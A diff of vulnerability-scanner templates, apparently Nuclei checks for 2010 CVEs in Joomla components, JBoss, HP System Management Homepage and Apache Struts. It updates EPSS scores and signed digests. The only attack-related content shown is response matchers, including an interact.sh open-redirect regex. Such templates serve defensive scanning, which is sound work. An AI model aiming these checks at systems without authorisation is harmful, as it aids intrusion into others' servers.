-# digest: 4a0a0047304502205e382206023c07203ee95377a6bcb381fd5e54af9d7a590431713a97652deb80022100870b4775cc779ad3ae8c8aeb9a2a7ad2567459ce8d765fd9763c8ece4691ea12:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f23e03229161d9c04f7fca2684a769eff592fbeeebdb7a2c76871e87e6f4f366022100b6fe6db904d1eb12438316c79099b660dbd5221e4169afde6db8c36efbd3f63d:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-0759.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2010-0759
     cwe-id: CWE-22
-    epss-score: 0.03967
+    epss-score: 0.04993
     epss-percentile: 0.87943
     cpe: cpe:2.3:a:greatjoomla:scriptegrator_plugin:1.4.1:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022033934f74766824677667e328806b8dd59585d0cacf06246f1cf6f325cf96bb9d022100fd7e7805dfb56c4bd09a965d14d9ad41353eda383bca418960490e1029298adf:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022008e9444b28413d51b642feed5ab51cc5cea9c9878e0c8159197907213d91468002202ad1b4590b1903866556f09cc4c278803d89010a0a10cbb9f150dc0756a9eaf0:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1217.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2010-1217
     cwe-id: CWE-22
-    epss-score: 0.02108
+    epss-score: 0.04908
     epss-percentile: 0.83380
     cpe: cpe:2.3:a:je_form_creator:je_form_creator:*:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022053d8a753cabc02c5fdfee1cf14e8a29755bbe554d650340a743785fc1855cceb02210091c3a09dd6c30a816e38eee274c41736a309ecdcce8108a72bffbcbd91e895d4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210099bc12f8bc5588f264e422f244ee8d4afef14761a1d1427d7d59d363264da05702200fcb781fe2c9d8daecc2e96320aa3af7efb6ef7c4b2797fe8341bd02da50be65:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1307.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2010-1307
     cwe-id: CWE-22
-    epss-score: 0.08046
+    epss-score: 0.0609
     epss-percentile: 0.91731
     cpe: cpe:2.3:a:software.realtyna:com_joomlaupdater:1.0:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100df69829cb1cab3bbdd702c7122d9d590f83462b72db5b6315b1a2fd7b04cd5a302207b0f34368d2a35f2ac283625f1bc222749c43ee020e434b57bf959de99a89c95:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202dcd5b51d41bb2cbfe79704f15ee96fb4fb590ca6f6bc73f8bd7abd1105928070220481df2b0a9df1b7abbd3ea0990c6b97c246a7796b96261a87e99410baa9b032c:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1308.yaml

@@ -18,7 +18,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2010-1308
     cwe-id: CWE-22
-    epss-score: 0.08228
+    epss-score: 0.06232
     epss-percentile: 0.91834
     cpe: cpe:2.3:a:la-souris-verte:com_svmap:1.1.1:*:*:*:*:*:*:*
   metadata:
@@ -41,4 +41,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100d80f649973e7d843a82620997b9d07526015e1eb66afe4b1b535bcc1f25a59b802200adf21919dbe1364e77f5e5b473d8ab2cc2e2e6e77cc0a555dae20e2c33774f1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100aea747f7e81bcf6c45ef1524ecb14760c2e294af59898249a8b1e67d5a6c0f0b02200dda23571d060aed7cfb3602fce2ed0d1f0591d0a3bff48c341718fed9f53512:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1429.yaml

@@ -21,7 +21,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2010-1429
     cwe-id: CWE-264
-    epss-score: 0.19593
+    epss-score: 0.21185
     epss-percentile: 0.95161
     cpe: cpe:2.3:a:redhat:jboss_enterprise_application_platform:*:cp08:*:*:*:*:*:*
   metadata:
@@ -54,4 +54,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100c30199cc1bdd0e1492db951f79b58ec41fa3a74bda905b5e930827f104eb38e90220185b9e9f2b986c533a78c88a196cb3060723a9b3fbf65973382d216f1c08dbec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202b22c9a6ef50abf9c22ae6387b0d40271973b72228e9131d4ec608d114ea4de402210091ae115392c0d72820ca4dcf93b0c1b3327e99a72dde84ae0043c461da64f4dd:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1470.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2010-1470
     cwe-id: CWE-22
-    epss-score: 0.09630
+    epss-score: 0.07329
     epss-percentile: 0.92550
     cpe: cpe:2.3:a:dev.pucit.edu.pk:com_webtv:1.0:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100d6960c148b6579853a17a630cd4d00fea1140de1adc191598ae6d178dbb34303022100852ca810bc96d7e8038832589db5c813418e739aed5f8a31734b6fd1e568899a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201b511a43a9b82cd15c6b8f3132f1cf4ad0faa372df679ec7b8beadb5c145615902210094a6befb71ab94af40c92331a098acfea5b3b834f56873e7d1b815c1de7cef53:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1471.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2010-1471
     cwe-id: CWE-22
-    epss-score: 0.09320
+    epss-score: 0.0932
     epss-percentile: 0.92414
     cpe: cpe:2.3:a:b-elektro:com_addressbook:1.5.0:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402200176f591d50b402654469e4ab3decdf85d3fc79ce71c069d8439a655a4e411c9022013e85c870cfc728162c4cc031b56bd2a04dfb1f3f3d3de0f3f23d8fd99c6d50d:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206ed3eb043072cb6906745ba0385bf6365e71a64a6ea94beca6868d6ce296065c02207366a6676924ffcb0baf4620b1169aacad17ea05e8207d7829a4d238dc368d07:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1472.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2010-1472
     cwe-id: CWE-22
-    epss-score: 0.09234
+    epss-score: 0.07018
     epss-percentile: 0.92374
     cpe: cpe:2.3:a:kazulah:com_horoscope:1.5.0:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100f837a72aecd53f947a32775cd7ce2c919de79ba863eec98f72a6ff6ce3655396022100ad44a06a4706849f786c5bb3dc86c000bdff67ffcd430cab61032385e70c4a2c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bc71544db0c8d32d8d7a8711c494cc91cfa48620cc60a7fe1baa2b6a1399e07a02207b0657006b96de674bfc83a1fbb0a1e8b2fc53fc9470ae391ca09ddc10e777a3:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1474.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2010-1474
     cwe-id: CWE-22
-    epss-score: 0.01514
+    epss-score: 0.01602
     epss-percentile: 0.80419
     cpe: cpe:2.3:a:supachai_teasakul:com_sweetykeeper:*:*:*:*:*:*:*:*
   metadata:
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502200bfa7ac9551f1b5f5d7f78e0d99525a27e14acc814ab020096fb16698f2fe9f0022100de0ae346f5fefb5ecc6bed34adf4731b364b9555fc17248709ced6827d6796e8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201a22c4331e8f58e9ab01c7c38f4ba1641a31fa25cfaaf5fce6d07a45f98057d0022100d3247d54c6db2645a1f166ca6fd6c6914ae3958a4ca72fdfaf4c66934d2f8c09:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1475.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2010-1475
     cwe-id: CWE-22
-    epss-score: 0.02440
+    epss-score: 0.0244
     epss-percentile: 0.84545
     cpe: cpe:2.3:a:ternaria:com_preventive:1.0.5:*:*:*:*:*:*:*
   metadata:
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100baa4ba3bfaa834142f4df99d7209d8cd9009a280519bf98f91c997f1e3a2560a022100c3e604e686356b206ebe13532296590133c899de5bf173be99e6a4b8ecf488d1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c0954cb4b311e43468846c72d58342bcd486172b71a97db79dbedd844bb574a70221008b568d3afd6e87e0f0f143ba15cce9e37c2268efecc7c4bcc6dc1ad8b6c178c5:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1534.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2010-1534
     cwe-id: CWE-22
-    epss-score: 0.03170
+    epss-score: 0.0317
     epss-percentile: 0.86445
     cpe: cpe:2.3:a:joomla.batjo:com_shoutbox:*:*:*:*:*:*:*:*
   metadata:
@@ -40,4 +40,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100b359b61f481360c497f026ea9c2e8cd3a6c6eebdd8255e864bf051fff90005d3022100902f1727b733eb91ebac94182bf867b4e89ebd863c08ef5a652587711f1363fb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210093d60c4ac628318313811656653731287b36153b6d18e4a508da156db7b0c6f202204d8ce7e3d2f2ac6ba25adba532e0329106173946782d427c52eb1ba116ee9966:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1586.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2010-1586
     cwe-id: CWE-20
-    epss-score: 0.00663
+    epss-score: 0.00657
     epss-percentile: 0.70327
     cpe: cpe:2.3:a:hp:system_management_homepage:2.0.0:*:*:*:*:*:*:*
   metadata:
@@ -38,4 +38,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:http?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
-# digest: 4a0a004730450220049220cfd791ebd32f1264edf5f6a20a748d5ba95f70c88023082184da88b95f022100e3eea5a59102f46041f3910979e6ccb89a542cf13a161f0e91345116df5cd133:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f42e66b5c32d971dcc7128e85ef1b9057319b8cde8c81611a75e83491c3188a3022075cf41c06037ee8f629a4acb2acc558412b33d9d38fc4215f2812a1e4cffd3c6:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1714.yaml

@@ -18,7 +18,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2010-1714
     cwe-id: CWE-22
-    epss-score: 0.10542
+    epss-score: 0.06091
     epss-percentile: 0.92942
     cpe: cpe:2.3:a:dev.pucit.edu.pk:com_arcadegames:1.0:*:*:*:*:*:*:*
   metadata:
@@ -41,4 +41,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022053b37ef1cd84f3c403d53286809ca71bb4d3ee45529e51a35c6bf76ed2daae2002203d9620b6f2942fb93d1eff96cb5b55d0ad7fc3a55f92d500c8b2d9212ed851a8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b52cdfd57a2694c6d6b07aaa97ac7c3a5e377d1a2096560402801bd6a699ecf50221008316db939be46e723c785aa868e789d629e95c584cea0f7e487a35484c1cdc54:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1718.yaml

@@ -16,7 +16,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2010-1718
     cwe-id: CWE-22
-    epss-score: 0.02406
+    epss-score: 0.02192
     epss-percentile: 0.84442
     cpe: cpe:2.3:a:lispeltuut:com_archeryscores:1.0.6:*:*:*:*:*:*:*
   metadata:
@@ -39,4 +39,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502201f41829486e6f0f6b9d447655df67ae7be472584a3392a9e1a880c832b6dd7c9022100c249bd8d9bd166c30af42e3a1d6f21ee1cde14383815df6ae548f1e36f93c931:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022078fd3ede818c0c8fa89f22594ec55da236bddff89b2526b640e88c69c529a97f0220609c64220f964d7cf19ac9cfa51cc1cd89ce1f6507737449965ad122c162517c:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1722.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2010-1722
     cwe-id: CWE-22
-    epss-score: 0.01514
+    epss-score: 0.01602
     epss-percentile: 0.80419
     cpe: cpe:2.3:a:dev.pucit.edu.pk:com_market:2.0:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402202eb1b4cf2dbaf98da7a68dc5d129c9756c82e4f629597bbd933050914254320402207e0da442095e6278595b463eee006f089d2a3e16c15060a925165c73f7ddd3a2:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c431cd158c3b87723aece30761dfb0411f110defe5826d0ab08303007b1d358a022100e29204f8818be4933f08182f9d32b1bd065f8257a7605b75a797a28d147ed961:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1723.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2010-1723
     cwe-id: CWE-22
-    epss-score: 0.06235
+    epss-score: 0.0469
     epss-percentile: 0.90482
     cpe: cpe:2.3:a:joomlacomponent.inetlanka:com_drawroot:1.1:*:*:*:*:*:*:*
   metadata:
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502202bdd11eb81584c4779521127c2ab2b4d07d03014e5c31acb319c85a371b39fff022100c499e14840e5e25ea53c535de6940f7f23d4c97b4572eddc397dcb12674bb47d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022029fe17878a502530479234eb83ea279be4019df3ad6ba2e9d0506ab8c503449602210083bca5e759cce9b83ddd995cbc6c18d318a50acde758db05d8437d97ee8f8f76:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-1870.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2010-1870
     cwe-id: CWE-917
-    epss-score: 0.93315
+    epss-score: 0.93509
     epss-percentile: 0.99802
     cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
   metadata:
@@ -51,4 +51,4 @@ http:
           - 'LISTSERV Maestro\s+[5678]'
           - 'Administration Hub 9\.0-[123456780]'
           - 'Administration Hub [5678]'
-# digest: 4b0a00483046022100d52cc7db77e7952a42ffacc9ae19b4beb63b0489fd1545896c11fd54ed540d6c022100a93394e353c9b2d89107519af8f29c0854bdb0bdde0a9d613c22494938a8ea2f:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022033e45e4bdd649fa5cc6cf30d3fa39165500aba5b12a4f368dd4b6767a5d30103022051b4c8852d6401d8897d64bd4c8866331c561557088c4737ba0193cbf046856f:922c64590222798bb761d5b6d8e72950